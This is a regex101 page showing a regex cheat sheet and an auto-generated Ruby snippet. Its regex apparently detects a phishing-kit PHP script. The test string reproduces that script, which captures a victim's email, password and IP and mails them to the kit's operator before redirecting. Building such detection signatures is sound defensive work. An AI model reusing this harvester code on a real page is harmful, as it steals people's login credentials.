Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
No Match

/
/
gis

Test String

Code Generator

Language

Generated Code

re = /^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*\$ip\s*=\s*getenv\(['"]REMOTE_ADDR["']\);(\s*\$\w+\s*\.=\s*).{0,90}?\$_POST\[["']up_email["']\]\."\\n";\s*\1['"]\s*Password.{0,50}?\1['"]confirm\s*password.{0,90}?\1['"]\-+created\s*by\s*burhan\-+\\n["'];\s*include\s*["']email\.php.{0,50}?mail\([^;]+;\s*header\s*\(['"]location:\s*\w+.php\?email=\$email(?:[^>]+>\s*)?$/i str = '<? $ip = getenv("REMOTE_ADDR"); $message .= "--------------New Login--------\\n"; $message .= "Email-ID : ".$_POST[\'up_email\']."\\n"; $message .= " Password : ".$_POST[\'up__X_PASSWORD\']."\\n"; $message .= "confirm password : ".$_POST[\'Password\']."\\n"; $message .= "Client IP : ".$ip."\\n"; $message .= "---------------Created BY Burhan-----------\\n"; include \'email.php\'; $subject = "--New Log $ip "; mail($to,$subject,$message,$headers); header ("Location: incorrect.php?email=$email".$_POST[\'up_email\']); ?>' # Print the match result str.scan(re) do |match| puts match.to_s end

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Ruby, please visit: http://ruby-doc.org/core-2.2.0/Regexp.html